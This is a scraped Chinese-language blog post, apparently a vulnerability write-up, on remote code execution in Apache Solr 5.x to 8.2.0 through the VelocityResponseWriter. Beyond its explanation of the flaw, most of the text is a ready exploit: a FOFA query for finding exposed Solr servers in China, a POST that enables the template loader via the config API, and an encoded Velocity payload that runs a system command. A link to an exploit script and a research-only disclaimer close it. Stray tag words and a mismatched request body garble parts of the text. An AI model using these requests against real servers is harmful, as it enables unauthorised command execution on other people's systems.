Solr是一個獨立的企業級搜索應用服務器,它對外提供相似於Web-service的API接口。用戶能夠經過http請求,向搜索引擎服務器提交必定格式的XML文件,生成索引;也能夠經過Http Get操做提出查找請求,並獲得XML格式的返回結果。java
該漏洞的產生是因爲兩方面的緣由:git
當攻擊者能夠直接訪問Solr控制檯時,能夠經過發送相似/節點名/config的POST請求對該節點的配置文件作更改。github
Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否容許參數資源加載器在Solr請求參數中指定模版,默認設置是false。
當設置params.resource.loader.enabled爲true時,將容許用戶經過設置請求中的參數來指定相關資源的加載,這也就意味着攻擊者能夠經過構造一個具備威脅的攻擊請求,在服務器上進行命令執行。(來自360CERT)web
Apache Solr 5.x - 8.2.0,存在config API版本json
使用fofa搜索語法
app="Solr" && country="CN"
安全
如上圖所示的這個名稱就是Core的名稱 直接構造POST請求,在/solr/test/config目錄POST如下數據(修改Core的配置)
服務器
POST /solr/test/config HTTP/1.1 Host: ip:port Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }
使用exp,進行漏洞利用
網絡
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip:port Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/app
本文中提到的漏洞利用Poc和腳本僅供研究學習使用,請遵照《網絡安全法》等相關法律法規。
致謝:上上下下左左右右basvg